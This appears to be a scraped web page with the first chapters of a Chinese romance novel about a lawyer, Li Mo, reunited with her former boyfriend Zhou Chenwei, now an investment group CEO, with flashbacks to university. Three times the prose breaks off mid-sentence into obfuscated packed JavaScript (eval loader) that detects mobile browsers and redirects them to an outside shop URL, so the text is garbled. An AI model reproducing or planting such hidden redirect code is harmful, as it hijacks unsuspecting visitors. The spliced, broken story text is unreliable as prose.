《吃糖[破镜重圆]》 1. 秋事 十二月的第一天,北禾下了场初雪。 飞机落地时,地面已经被白雪打成了白皑皑一片,世界银装素裹,美不胜收。 李茉这几年在上海工作,冬天很难见到雪,她有些兴奋地拍了张雪景照片,发了条朋友圈。 下了飞机,一阵冷风扑面而来,温度刺骨。李茉不由得打了个冷颤,把身上的大衣裹紧了点。 她加快脚步往出口处走去,刚坐上网约车,手机就震动了一下,钱与陈律所的主任、也是她的顶头上司发来一条消息: 【这次睿方科技的IPO案子全所都非常重视,如果能顺利完成上市,我决定擢升你做律所的权益合伙人。】 IPO(首次公开募股)项目收费高,风险和机遇并存,做成了不仅能抽一大笔油水,还能成为律所的一块响当当的金字招牌。 正因如此,在当前僧多粥少的大环境下,像睿方科技这种优质的IPO项目,各家律所都卯足了劲儿争取。 钱与陈律师事务所是知识产权领域的精品所,近几年才刚开始涉足资本市场业务,看似是一众竞争对手中基础最薄弱的。 然而谁也没想到,这个项目最终竟被李茉带领的团队给拿下了。 她这些年在工作上取得的成绩有目共睹,近期更是趁热打铁拿下了睿方的项目,律所年轻一辈的律师里,没人比她更有晋升合伙人的资格。 顶头上司能发来这条消息,本就在她的预料之中。 李茉把这条消息反反复复看了三遍,深吸一口气,抚平了有些激动的心绪后,给上司发了几段表忠心的文字过去。 等了会儿,对方没有回复。她给手机熄了屏,头半靠在车窗上,静静看着窗外过分熟悉的城市夜景。 她大学是在北禾的S大上的,毕业后她就去了钱与陈律师的上海分所,在上海待了足足五年,算起来,已经一千多个日夜没回北禾了。 第一次来北禾的时候,她只有十七岁,坐了两天一夜的绿皮火车从南方的一个小镇来到这里。 时光倥偬,一晃就是许多年。 车窗外纯白雪花纷纷扬扬,蓦地勾起了她不少过去的回忆。 李茉的家乡常年不下雪,她人生中第一场雪是在北禾看的。 那时候,周辰纬在她身边,看见她在雪地里被冻得瑟瑟发抖的样子,他唇角勾了勾,抓着她的手放进衣领里给她取暖。 他身上有铺天盖地的清冽又温暖的雪松气味。这个味道,她在脑海里记了很多年。 两人分手后,有时候闻到别人身上的雪松香水味道,她的心都会一抽一抽地疼。 “姑娘,到了。”司机的声音让她从回忆里抽离。 网约车在岁宁街的街口停下。 岁宁街是条由北禾当地的老街改建而成的商业街,这里的建筑别有特色,再加上入夜后整条街灯火煌煌,很适合打卡拍照,渐渐成了北禾出名的地标性景点。 李茉循着程玥给的地址,找到了岁宁街街尾一家名叫秋事的酒吧。 程玥是她的大学室友,比她大一届,李茉要叫她一声学姐。 虽然两人之间有三岁的年龄差,但她们在上学时就相处得不错,毕业后也没断了联系。 酒吧虽然店面不大,装潢得却十分精致有品位,老板娘站在吧台后,兼任着调酒师的角色。 小型舞台上有一支来自国外的乐队正在演出,萨克斯和手风琴的悠扬旋律响起。 整体氛围算是轻适舒缓。 程玥是常泡酒吧的老司机了,直接点了一杯干马天尼,李茉随意点了杯经典款的鸡尾酒。 半晌,服务员端着托盘给她们上了酒。李茉举起杯,啜了一口,瞬间就被这杯的口感给惊艳到。 “怎么样,不错吧?这可是我最近才发现的宝藏小店。”见她表情享受,程玥邀功道。 李茉抿唇一笑:“挺好喝的。” “这里装潢也不错,快,给我来两张照片。”程玥边说边摆起了pose。 程玥现在是一名自媒体网红,拍照出片是她的工作任务之一。李茉好脾气地笑笑,拿出手机,尽心尽力地充当起了摄影师的角色。 两人正拍着照,忽地,吧台那里传来一阵喧嚷的动静,一个明显是社会哥的男人正冲着老板娘高声叫唤: “你这调的是马尿?是给人喝的吗?这桌酒你必须给我免单!不然老子让你吃不了兜着走。” 李茉抬眼望过去。闹事的这人约莫三十来岁,手背涂满纹身,戴着大金链和金表,凶相毕露;他身边还有两个同伙,都是染着杀马特发色的小混混。 这三人一看就不好惹,换作一般的老板,早就免单了事。但这家酒吧的老板娘也不是个脾气软的。 毕竟能在岁宁街这种寸土寸金的地方开酒吧,家里要么有钱,要么有势,或者两者兼备。 “秋事”的老板娘显然也是个受不得委屈的主儿,倔劲上来,不仅不同意免单,还和三个混混对骂了起来。 过了没几分钟,社会哥被她的态度刺到,彻底失去耐心,抄起手边的玻璃杯,一只接一只,狠狠往地上砸去。 “臭娘们,”他骂骂咧咧,手上砸东西的动作不停:“知道老子混哪儿的吗?跟我横?” 玻璃碎片四溅,吧台旁的女客人一时不防,被玻璃碴擦过,发出高声的尖叫,场面一度混乱不堪。 就连老板娘也明显被吓到,漂亮的狐狸眼里瞬间蓄满泪水。 没预料到出喝个酒还能碰见这种阵仗,程玥吸了口凉气,提议道:“我们要不走吧。” “没关系,相信我。”李茉留下句话,就迈腿往吧台的方向走去。 程玥倒也没拦着。她知道李茉看似冷冷清清,实际上是最有正义感的,在大学里就做了好多件法律援助的案子。碰见这种仗势欺人的事情,她不可能坐视不管。 吧台那边,老板娘擦了把眼泪,正准备给几个闹事的操作免单时,一道清泠泠的嗓音荡在几人耳边:“按照刑法规定,你的行为属于寻衅滋事,处五年以下有期徒刑、管制或拘役,情节严重的要处十年有期徒刑。” 李茉边说边看向老板娘,眼神安抚:“你不要怕,我是律师。” “老子管你是律师还是牧师——”社会哥骂骂咧咧地回头,看清李茉的脸后,他愣了半秒,满脸垂涎的神色:“呦,美女,你是律师?给人打官司那种?” 见李茉不语,他咧嘴一笑,露出一口焦黄的牙齿,伸出手比了个数字:“干你们这行来钱太慢了啊,不然这样,你给我当二奶,我每个月给你这个数。” 说话间,他伸出另只手,轻佻地捏起李茉的下巴:“怎么样,你考虑考虑?我可告诉你——” 李茉正眼都没看他,她正打算开口说些什么,忽地,一声骨头错位的嘎达声骤然响起。 社会哥捏住李茉下巴的那只手被一个男人狠狠攥住,男人力气极大,硬生生把他的手掰成了一个诡异的弧度,社会哥登时就痛得大叫起来。 两个混混见状想要上前帮忙,都被男人不费吹灰之力地拦开。 吧台后的老板娘看见匆匆赶来解围的男人,不由得惊呼出声,语气里满是欣喜和惊诧:“阿纬?你怎么来了?” 阿纬。 听见这个名字,李茉的心脏骤然一缩,她抬起头,刚好眼前的男人对上目光。 这几年过去,他似乎一点都没变,挺鼻薄唇,下颚凌厉,一身气质还是从前那般的痞坏勾人。 他的目光深沉如潭,正直勾勾地盯着她看。 “想告诉她什么?也对我说说。”周辰纬凑近社会哥耳畔,狭长的黑眸微微眯起,语气阴狠,浑身上下透着浓浓的戾气。 甫一接触,社会哥就知道眼前的男人是个硬茬子。 男人只是看着瘦,力气却极大,社会哥用尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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把同事的名片推过去之后,李茉抿了口酒,周辰纬的身影出现在视线的余光里,她下意识朝他的方向看了眼。 老板娘此时正在他身边。她伸出手动作自然地接过他的外套,眼睛笑成了弯弯的月牙形状:“今晚想喝什么?” “随便。”他挑了挑眉,在吧台前随意找了个高脚凳坐下。 他单腿撑着地,只是吊儿郎当地坐在那儿,就吸引了酒吧里一众女客的目光。 也就三五分钟的工夫,老板娘就给他端来一杯特调的鸡尾酒。 上完酒之后,她单手撑着桌子,附在他耳边低声说了句话,半个身子都快要贴到桌面上。 两人的身影看起来暧昧又登对。 李茉这时才注意到,周辰纬手边有一只小型行李箱,上面还贴了航班的行李条。 他看起来像是刚从机场赶来,眼睛里还有几条红血丝,带着一身的风尘仆仆。 想想也是,如果不是因为喜欢,他怎么会一下飞机、连行李箱都没放下就急匆匆地赶来老板娘的酒馆为她撑腰。 周辰纬这样的人,不缺钱财,不缺爱,身边更不缺女人。他看似玩世不恭,可女人只要让他上了心,要星星月亮他都能摘下来。 从前她和他在一起的时候,两人曾经异地过一段时间。那时他也搭过许多次红眼航班,熬得眼睛通红就只为见她一面。 现在的他或许依然会做这样的事,只是对象不再是她了。 李茉垂下漆黑的眼睫,半晌又释然地笑了笑。 或许她与他的那一段感情,从一开始,就是一个错误。 “我们走吧。”李茉深吸一口气,向程玥提议道。 程玥的酒杯早就见了底,她看得出自从周辰纬来了之后,李茉的情绪就有些不对,闻言直接点头答应:“好。” 椅子摩擦木质地板发出不小的声响。周辰纬抬眼望去,她们步履匆匆,走得很快,尤其是李茉,简直是落荒而逃,像是在拼命逃离他一样。 周辰纬端起面前的酒杯,一饮而尽。心脏像被一只大手紧紧攥住,窒闷得他快要喘不过气。 两人之间隔了一千多个日日夜夜的岁月,年少时的那点羁绊早就断得干干净净。 他们终究成了,最熟悉的陌生人。 他终于接受了这个现实。 2. 天渊 在小酒馆重遇初恋这件事并没有给李茉的生活带来太大的波澜,第二天,她就投身到了忙碌的项目工作中。 李茉花了一点时间给睿方科技做了一个简略的股权穿透。她发现,睿方科技除了创始人之外,目前持股比例最大的是一家名为晟扬资本的资产管理公司。 这家公司隶属于晟扬集团,从天使轮就开始对睿方进行投资,之后的几轮融资中也从不缺席,财大气粗地给睿方投了许多钱,是睿方绝对的金主爸爸。 李茉正打算接着查下去,小腹忽然传来一阵熟悉的抽痛感,是生理期到了。 她草草去卫生间处理了一下,由于疼痛的缘故,出来时她步履有些不稳,脸色也多了几分苍白。 痛经的毛病李茉少女时期就有,更何况这几年她忙于工作,吃饭和作息都不规律,每次生理期都痛得死去活来。 回到座位上,她翻出一板布洛芬就着热水吃了一粒,才感觉好受了点。 李茉刚缓过来痛劲,准备继续工作时,组里的实习生kelvin提着一个保温袋朝她走了过来:“李律,我看到你晚上没吃东西,给你买了粥。” 李茉打开一看,里面有一份热气腾腾的山药红枣粥,几碟清淡的菜,还有一份温热的红糖燕窝饮。 燕窝饮的包装上有祥云居的logo。祥云居是北禾的一家老牌糖水铺,李茉上大学时最喜欢喝的就是这家的糖水,大学时发的朋友圈好多次都出现过祥云居这家店的影子。 她感叹于kelvin的细心,也感激他这份弥足珍贵的心意,于是冲他展颜一笑:“谢谢你。” 十九岁的小男生看着她的眼睛,脸忽然间有些红,平时面对其他同事的八面玲珑全派不上用场,说话也磕磕巴巴起来:“不用谢,你请全组人吃了那么多次下午茶,我只是投桃报李......李律,我去工作了。” kelvin走后,李茉吃了两口糖水,忽地停住了动作,目光放空。 她想起曾经也有一个十九岁的少年给她带过祥云居的糖水,而她之所以喜欢上这家店,也只是因为他。 很奇怪,也许是因为他们昨晚刚见了一面,又或许是故地重游的缘故,她今天总是控制不住地想起他。 直到深夜,一整天的忙碌才终于结束。 室内的中央空调维持着恒温,走到室外却是天寒地冻,滴水成冰,李茉只觉得连骨头都被吹冷了,她不由得打了个寒战。 kelvin在她后脚走出大厦,手里还拿着一杯热可可。看见她纤细的身影在冷风中瑟瑟发抖,他不由分说地脱下外套,披在她身上:“李律,太冷了,你穿我的外套吧。” 李茉愣了愣神,她还没来得及拒绝,kelvin就动作迅捷地跳上了出租车,临走前还不忘把手里的那杯热可可塞到了她手中。 这一幕刚好被在大厦楼下等她约夜宵的程玥尽收眼底。 两人把夜宵地点定在了附近一家还在营业中的居酒屋。入座后,程玥瞟了一眼外套内侧的logo,托着腮说道:“你身边这个小男生家境不错哦,随便一件外套都接近六位数,现在不是很流行年下奶狗吗,茉茉,你要不要试着谈一段恋爱?” 李茉无奈地扶额笑了笑,说道:“你想多了,他是我们律所的实习生,刚好被分到我手下工作。” 她对年下恋情的接受度只能控制在三岁以内,再多一岁的年龄差她都会觉得有罪恶感。 更何况,kelvin和她相差八岁,她平时看他就像看侄子,怎么可能对一个小辈兼下属生得出遐思。 “上段恋情之后,你空窗了这么久,久到我都替你着急。”程玥叹了一声:“茉茉,你实话告诉我,你心里是不是还放不下......他?” 冷不防地被戳中心事,李茉心一惊,下意识地想要矢口否认,但话到了嗓子眼,她忽然间不知道该说什么好。 “没有,我就是不想谈恋爱,单身也挺好的,至少自由。” 沉默几瞬,李茉稳了稳心绪,用这个万能借口搪塞了过去。 次日下午,李茉去了睿方的工厂做了一整天的实地调查,回到工作间时,已经是傍晚。她正打算接着查一下晟扬的股权架构,忽地,手机震动了一下,项目群里跳出来一条通知消息。 原来是睿方的CEO今晚做东,打算请投行、律所、会计师事务所等几方服务机构的负责人一起吃个饭,地点定在了某会所的VIP包间。 说是吃饭,其实就是酒局。李茉实在是厌烦那些无聊的酒局应酬,但没有办法,甲方赏脸吃饭,他们做乙方的没有拒绝的权利。 李茉简单收拾了一下就去赴约了,她没化妆,只简单涂了支能提气色的豆沙色口红,素面朝天的脸也有种别具一格的清丽。 睿方的CEO三十多岁,姓梁,长了一张笑眯眯的圆脸,酒过三巡后脸也没红,说话依然沉稳得体,看得出酒量很不错。 在座各位都是人精,既然甲方兴致颇高,他们也就一轮轮地陪着喝了起来,李茉自然也不能例外。 这几年她的酒量也多少练出来一些,自认为对这种场合也算得上驾轻就熟。然而,今晚不知道是不是吃了布洛芬的缘故,几轮推杯换盏之后,她的胃忽然翻江倒海,小肚子也随之传来了阵阵绞痛。 中途,于总出去了一趟,气氛放松了下来,她找借口去卫生间,和席上的人打了招呼后也走出了包厢。 会所里有一爿供宾客吸烟的休息区,从包厢到洗手间要经过这里。 李茉刚踏入休息区,余光就一眼瞥见好整以暇靠在沙发上的周辰纬,而睿方的CEO梁总坐在他身侧,正满脸堆笑地和他聊着天。 周辰纬坐的并不板正,懒懒散散,神情放松,手里还夹着支烟,正有一搭没一搭地吐着烟圈。 会所里来来往往的都是商务人士,没有一个人像他这样。 这种衣香鬓影的场合,他就只穿了件简单的卫衣和长裤,比起周围西装革履的社会精英们,单从外表看,更像个痞子。 烟雾缭绕间这熟悉的姿态,莫名让李茉想起,记忆中的那个和他初遇的夏末。 但只是须臾,李茉就打消了脑子里的这个念头。 相较于之前,周辰纬的下颌线条更加凌厉,眉目间多了几分无法被忽视的侵略性。 一双黑眸在繁复水晶灯的辉光映照下,更显漆黑深邃,像是轻而易举就能看穿、蛊惑人心。 强大的气场和周围人明显趋炎附势的态度,都让他身上多了分威压和上位感。 和从前没有几分相似的地方。 这么多年过去了,他怎么可能还是曾经的那个少年。 李茉低着头,步履匆匆地和他们擦身而过。而同一时间,梁总明显地察觉到,周辰纬的情绪明显变得有些不对劲,整个人的心似乎都被刚才那个背影勾走了。 周辰纬自执掌晟扬以来,一直寡欲清心、不近女色,从没见他对哪个女人表露出特别的情愫来。可他对这位李律师......似乎是不同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351445|199613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 梁总稍一思考就明白了他神思游离的原因,小心觑着他的脸色,说道:“周总,睿方IPO项目的基本情况我已经向您介绍完毕了,律所方面也遵照您的指示选择了钱与陈律所的李茉律师。” 顿了顿,梁总颇为体贴地补充:“今晚我请项目上的几个乙方负责人一起吃了个饭,李律师跟着喝了几杯酒,身体应该是不太舒服。我秘书那里还有些解酒药,您看?” “你做得很好,”周辰纬颌首肯定,站起身:“再有这种场合,别让她喝酒,她不能喝。我有事,先走了。” - 吐过一场之后,胃里终于好受了些,李茉用随身携带的漱口水漱了口,含了片糖在嘴里。 思及刚才看见的、于总脸上谄媚的笑容,李茉眉心轻蹙,掏出手机打开了晟扬集团的信息界面。 果不其然,她在CEO那一栏看到了周辰纬的名字。 李茉轻轻叹了口气。 虽然她不愿意深想,但她之所以能拿下睿方的项目,和周辰纬的授意肯定脱不开干系。 没想到,几年不见,他已经成了集团ceo,她与他,依然是天渊之别。 她去洗漱台,鞠一捧水洗了把脸,擦完脸再抬头时,视线不由得一顿。 周辰纬的脸出现在镜中,他站在她身后,眼里有浓烈到无法忽视的侵略性,看得她的心尖一阵阵发颤。 “谈谈。”他说。 李茉稳了稳心神,话音是她自己都预料不到的疏离:“有什么必要吗?你我之间,没什么好谈的。” 话毕,她转身打算离开,周辰纬却在这时抓住了她的手腕,把她整个人捞进了怀里。 指腹的老茧无意间摩挲到她的手腕皮肤,带来灼烧般的触感,丝丝痛感中带着密密麻麻的痒。 他看起来瘦,身体却硬挺结实,没有任何疏于锻炼的痕迹,充满了成年男子应有的力量。 他的呼吸粗重地落在她耳畔,身上木质香铺天盖地袭来,像一堵密不透风的墙,将她紧紧包围。 两人肌肤紧贴,而在他正中心口的位置,李茉清晰地感受到,一个木质且坚硬的东西硌到了她的皮肤。 那是一枚檀木质地的吉他拨片。是他过十九岁生日时,她亲手为他打磨的生日礼物。 并不贵重的礼物,价值低微,唯一值钱的或许只有少女不见天光的那份心意,没想到他竟保留了这么多年。 李茉垂下头,短短几秒的时间,她脑海中走马观花般掠过许多过去的画面。 可越是回忆,心就越痛。 “你不舒服?”周辰纬的眼神掠过她苍白面颊,不由分说把两板铝制药盒塞到她手里:“刚才看你不对劲,我拿了解酒药和胃药过来。” “谢谢周总的关心,但我受不起,”最终,李茉挣脱了他的桎梏,语气很淡:“人多眼杂,这里不是方便说话的地方。我先走了,周总请自便。” 她话都没说完就匆匆离开,背影疏离又决绝。 周辰纬自嘲地笑了笑,忽地,一阵熟悉的绞痛感涌现,他捂住胃部,痛苦地半蹲下来。 从几年前的一次饭局喝到胃穿孔开始,胃病就如影随形地不时发作。 周辰纬额头沁出冷汗,痛得就快昏厥过去,甚至没有了吃药的力气。可即使是这样,他的眼神依旧牢牢跟随着前面那个清冷决绝的身影。 这道身影,曾在他梦里无数次出现过。 也像他梦里的一样,一次都不愿意为他停驻。 3. 烛火 像一部有颗粒质感的老胶片电影,进度条被拉到十年前。 那一年,李茉十七岁,刚被位于北禾市的S大录取,成了S大法学院的一名大一新生。 他们这批新生时运不济,刚报道就赶上了北禾有史以来最长也最溽热的夏天。军训时间被压缩成两周,但每一天都会有学生中暑、被紧急送往医务室。 终于捱到九月初军训结束,新生们就是顶着地狱般的天气,开启了正式的学习生活。 法学院大一的课程繁重,单是应付日常的课程学习就已经让不少人焦头烂额。 相比之下,李茉简直就像一个没有情感的学习机器。 她不仅能轻松自如地应对这些课程,还通过了层层笔面试选拔,成功考进了S大的法律援助社,成为了社里唯一的一名大一新生。 法律援助社是法学院的院级社团,服务对象多为校内和社会上的弱势群体,指导老师都是院内有名望的教授。能进法援社,是足够将来写进简历的一段履历,所以入社的竞争才会如此激烈。 法援社的办公室设在校内的明德楼,周三的下午没课,李茉吃过午饭后就去了明德楼,处理了一会案件的工作。 她正在法律文书网上检索着类似的案例,忽地,门被推开,一位学姐走了进来,在李茉侧前方挑了个座位坐下,带来一阵扑鼻的香水气味。 这名学姐叫林白薇,入座之后连电脑都懒得打开,对着手机挑起了美甲款式,摆烂得十分明显。 李茉手头上正负责着一个劳务派遣的工伤认定案件,林白薇是法援社分派给她的搭档。 一起合作的近一周时间里,林白薇来法援社的次数屈指可数,就算来了,也提供不了任何有用的意见。 半小时后,林白薇打了个哈欠,转过头来: “哎,那个谁,你把这个案子的资料再看看,写一份法律意见书明早交给我呗。” “意见书我有在写,明早会直接交给当事人和老师。还有,我叫李茉。”李茉直视着她,黑漆漆的眼眸看不出半点情绪。 林白薇迟疑了一下:“那意见书的署名......咱们是搭档,你把我名字也写上呗?” 李茉很想回怼一句“你觉得这样合适吗?”,但到了最后,她还是把话咽回了肚子里,很轻地点了两下头。 反正法援社的搭档分派是轮流制,下个案子她就不会再和林白薇一起做。 这样的人,以后避而远之就行了。 得到想要的答复,林白薇勾了勾唇,冲她露出了个不怎么真心的笑容,就掏出镜子补起了妆。 林白薇正涂着口红,放在她桌子上的手机忽地响起一阵铃声。 看见屏幕上的名字,林白薇即刻接了电话,换上一副娇嗲的声线:“你要来接我下班?那我现在就出来。我们去祥云居吃糖水好不好?天天看那些案卷,累也累死了。” 电话那头不知道说了什么,她捂着嘴娇俏地笑起来。 挂断电话,林白薇跨上小包包,没和任何人打招呼就径自出了门。 见她离开,法援中心的一位学姐忿忿不平地抱怨道:“林白薇这也太过分了吧?每次交给她的工作要么不做,要么就推给别人,水学分也不是这么水的吧。” “她急着出门约会呢,”另一人立刻附和,交换了个心照不宣的眼神:“好不容易成了周辰纬的女朋友,可不得拿出十二分精力伺候好这位大少爷。” 周辰纬。 听到这个名字,李茉的心脏骤然一缩,不自觉地愣了一下。 心绪被这个名字全然搅乱,眼前熟悉的卷宗忽然变成了一串串乱码,李茉深吸一口气,戴上耳机放了首平时单曲循环过许多遍的摇滚乐,试图让自己平静下来。 挑起话头的学姐叫程玥。程玥和林白薇积怨已久,见有人附和自己,登时来劲了,接着吐槽: “听说林白薇是在前任会长的暗箱操作下才能进法援中心的,她成绩又不优异,还挂过几门科,走正常的笔试流程肯定考不进来。” “毕竟是法学院公认的院花嘛,长得那么漂亮,有点优待也正常。”有人接过话茬,说道。 “院花?就她?”程玥明显不服气,嗤笑一声:“就算不掺杂我个人感情,客观地说,你们真觉得她长得比李茉学妹好看吗?” 因为她这句话,众人齐刷刷将视线投向安静坐在角落的李茉。 少女杏眼樱唇,皮肤白皙,五官小巧精致。 天气太热,她穿了件纯白的棉布吊带裙,款式和剪裁都普通的裙子,却更衬得她身材纤细,锁骨像振翅欲飞的两片蝶翼。 确实是纯,完全迥异于林白薇的张扬明烈,是皎如月晕的那种美。 “茉茉,”程玥伸出手在李茉眼前一晃,试图吸引她的注意:“你是南方人吗?皮肤又白又嫩,我做梦都想变这么白。” “我确实是南方人,”李茉冲她温婉一笑:“但我的家乡你们应该没听说过,是个叫南宜的小镇,离北禾有一千多公里的距离,坐火车都要十二小时。” “你笑起来好好看,我一个女生都有点受不了。”程玥捂着胸口,做了个中箭的姿势:“我们几个过会要去校门口的美食街吃韩料,你也一起来嘛,吃完饭我们一起回宿舍。” S大的女生宿舍是混寝,所以大二的程玥和大一的李茉住在同个宿舍。开学以来,尽管每天都朝夕相处,程玥还是觉得,长相乖纯、性格温软的李茉是个不折不扣的大美女。程玥每次见到她,还是会觉得惊艳。 “不了,”李茉摇了摇头,连拒绝人的声音都是绵软的:“我晚上要去上家教课,今晚去不了,你们吃吧。” 很快就到了晚饭时间。 几个女生簇拥着程玥,热热闹闹地往韩料店的方向走。路上,有人聊起李茉:“李茉学妹很缺钱吗?她不仅报名了院里的勤工助学岗,还要做家教,同时打两份工,太辛苦了。” “应该是很缺钱吧,上次在食堂,我看她荤菜舍不得打,就打了一份青菜和免费汤。其实吧,凭她那张脸,随便找个有钱男朋友,困境不就能解决了?” “说起来,周辰纬的家世,在我们学校算是头一档的了吧,听说他爸爸是做房地产,CBD的天恒公寓就是他家开发的。” “可别,周辰纬那人就是个祸害,李茉学妹怎么可能玩得过他。” ...... 对她们的讨论,李茉毫不知情。 她写完意见书时,时针已经指向了七点,离约定好的家教时间已经很近了。 天空中阴云密布,是要下雨的前兆。 回寝室拿雨伞会耽搁一些时间,李茉一向守时,她想了想,还是直接去了公交站。 她雇主家是在市中心的一个老校区里,要坐半小时公交才能到。 这份家教工作是法援社的一个女老师介绍给她的,内容是给一名上初中的小男生补课。 报酬虽然不丰厚,但李茉做事一向负责任,每节课都上得很认真,小男生的成绩也有了很大的进步。 可这一天,不知道为什么,上课时她有些罕见地不在状态,心绪难平,只要一空下来,眼前就会出现那张纵情不羁的脸。 她觉得自己一定是魔怔了。 无奈,她只好发了一张试卷给小男生做,美其名曰检测一下他这段时间的学习成果。 小男生在她的辅导下进步神速,半小时就做完了这张试卷。交卷后,看着老师出神的模样,小男生揶揄一笑,语气异常笃定: “老师,你是不是为情所困了?” 李茉被小男生的年少老成逗得哑然失笑,又很快矢口否认:“老师没有。” “那就是暗恋。”小男生一副了然于胸的神情,振振有词道:“我也暗恋隔壁班的小佳,老师,你的状态和我想小佳的时候一模一样。” “哎,只可惜,喜欢小佳的人太多了,她身边有那么多长得好看又优秀的人,我只是其中最微不足道的那一个,”小男生长吁短叹道:“我们完全就是两个世界的人,永远遥不可及,或许,她永远都不会多看我一眼。” 两个世界的人。 永远遥不可及。 小男生无心的一句话,却歪打正着地戳中了她隐秘的心事。有那么一瞬间,李茉恍了恍神。 “小孩子懂什么爱情,”她笑着揉了揉他的头,不动声色地转移了话题:“这个知识点上次你就做错了,这次怎么还错?我再给你讲一遍。” ...... 两小时的家教时间过得飞快。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351446|199613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李茉刚走出单元楼,一场瓢泼大雨就猝不及防地兜头浇下。 无奈,她只得拐进了旁边的一家二十四小时便利店,买了临期的牛奶和饭团,坐在落地窗边的座位上,边吃边等雨停。 便利店的货架上只剩下几把雨伞了,最便宜的也要49元,约等于她两小时的课时费。 她舍不得买。 这家便利店旁是一家全市有名的酒吧,隔着窗玻璃望出去,能看见酒吧五光十色的霓虹招牌和来来往往的红男绿女。 牛奶很冰,李茉只敢小口小口地喝,就要咽下最后一口时,视线捕捉到一个从酒吧走出来透气的男生身影,她动作不由得一顿。 男生站在酒吧的霓虹招牌下,挺拔高瘦,简单的黑t恤都被穿得极其有型。 他右手食指上戴着枚式样古朴的银戒指,指间的一点猩红在夜幕中显得格外招摇。 李茉忍不住又往窗外多看了几眼。 只是这场雨下得太大,豆大的雨滴一滴滴打在窗玻璃上,把外面的景象氤氲成了模糊的一片,雾里看花般不真切。 她苦笑着摇了摇头。祥云居在城西,离这里有三十公里的距离,怎么会是他呢。 说不定只是一个身影很像的人而已。 时间不知不觉来到了21:50。 眼看着离末班公交的发车时间越来越近,李茉等得越发心焦。 雨势缓了下来,刚才兜头浇下的豆大雨点变成了细细绵绵的雨丝,这一刻,李茉快速做了个决定。 她把书包护在胸前,就这么冲进了雨幕中,朝公交站的方向跑去。 跑到那家酒吧门口时,男生还没走,一支烟正吸到一半,他懒懒地冲着天空吐出一口白烟。 也就是在这时,李茉终于看清了他的脸。 他的皮肤是近乎病态的冷白,眼眸却黑得深邃,挺鼻薄唇,一身游戏人间的气质,与身后的灯红酒绿极其相称。 几乎是同一时间,一个红唇细腰的女生从酒吧追了出来,在他身边站定。 两人挨得极近,女生的半个身子都快要黏在他身上。 夹杂着哗啦啦的雨声,李茉听见林白薇羞涩又快速地说了句:“今晚要不要带我回家坐坐?” “坐坐?”男生挑了挑眉,漫不经心开口:“哪个做?” 林白薇一瞬间涨红了脸,软绵绵地假意掐了他一下,半嗔道:“臭痞子。” 他被掐了倒也没恼,只是伸出手,一把抓住她的手腕,憋着坏地不让她挣脱开,拇指还在她腕骨处摩挲了下。 散漫又透着玩世不恭的轻佻。 李茉怔愣地看着,一颗心像泡了水的柠檬,又酸又胀。 雨水顺着发丝滴下来,李茉的眼前渐渐模糊,不远处相互倚偎的两个人也变成了朦胧的影子。 她这才如梦方醒地扭过头,加快了脚步向前跑。 ...... 这场雨下个没完,整个世界被雨幕分割成两边。 一边是风月无边的暧昧缠绵,而另一边,在雨中奔跑的少女浑身都被淋透。 酒吧门口。周辰纬的视线在某个方向定格,有几秒的时间没开口说话。 雨夜里,踽踽独行的少女,侧脸是近乎透明的白,像朵在骤雨狂风中兀自发光的微弱烛火,让人无端升起一种想捻灭的冲动。 林白薇注意到他的目光,心不由得一紧。 今晚她本来是想跟他回家的,被拒绝后,她本来就很不开心了。可他就像看不见她的情绪一样,依旧我行我素得近乎淡漠。 林白薇咬了咬唇,他对她,就没一点上心过。 想到这里,她发起脾气:“跟我在一起还这么心不在焉,你眼里到底有没有我这个女朋友?不然分手算了。” “随便你。”他收回目光,随手在掌心掐了烟。 熟悉周辰纬的人都知道,这是他不悦的表现。可林白薇完全沉浸在自己的情绪里,见他态度冷淡,更是不依不饶起来。 “你看那个女生很久了,是不是觉得她比我漂亮?”她泪眼朦胧地控诉道。 周辰纬对她的眼泪无动于衷,只是漠然看了她一眼,薄唇轻勾着,淡漠又薄情地吐了句话。 “是,又怎么样?” 4. 蝴蝶 李茉推开宿舍门时,里面已经熄了灯,她掏出手机一看,屏幕上的时间刚好是晚上十点。 程玥听见开门的动静,关心道:“茉茉,怎么回来得这么晚?” “没赶上公交,过了好久才打上车。”李茉用毛巾擦了擦身,声音里带上了一丝鼻音。 听出她声音里的异常,另一个室友小贝下了床,从抽屉里拿出一块红糖递给了她:“我这里有包红糖姜茶,你冲了喝吧,也能驱驱寒。” “谢谢。”李茉心里一暖,伸手接过。 从小到大,她得到的关心和爱护并不多。所以别人对她的每一分好,她都会深深记在心里。 李茉喝完红糖姜茶,去浴室洗了个澡。吹好头发后,她上了床正准备入睡,忽地,走廊传来一阵阵抽泣声,间或夹杂着打电话的声音。 这个女声很耳熟,好像在哪里听过。 对床的程玥听见动静,探头往走廊看了眼:“好像是林白薇在哭。她是不是和男朋友打电话吵架了?哭得那么伤心。” 小贝玩着手机也没睡,闻言加入话题:“除了周辰纬,谁还能让她有这么大的情绪波动。不过他们俩才谈了一个多月吧,这就分了?” “周辰纬谈恋爱随性惯了,历任女友哪有谈得长的。哎,虽然我讨厌林白薇,也不得不承认,沾上这样的人,林白薇算是栽了。”程玥叹道。 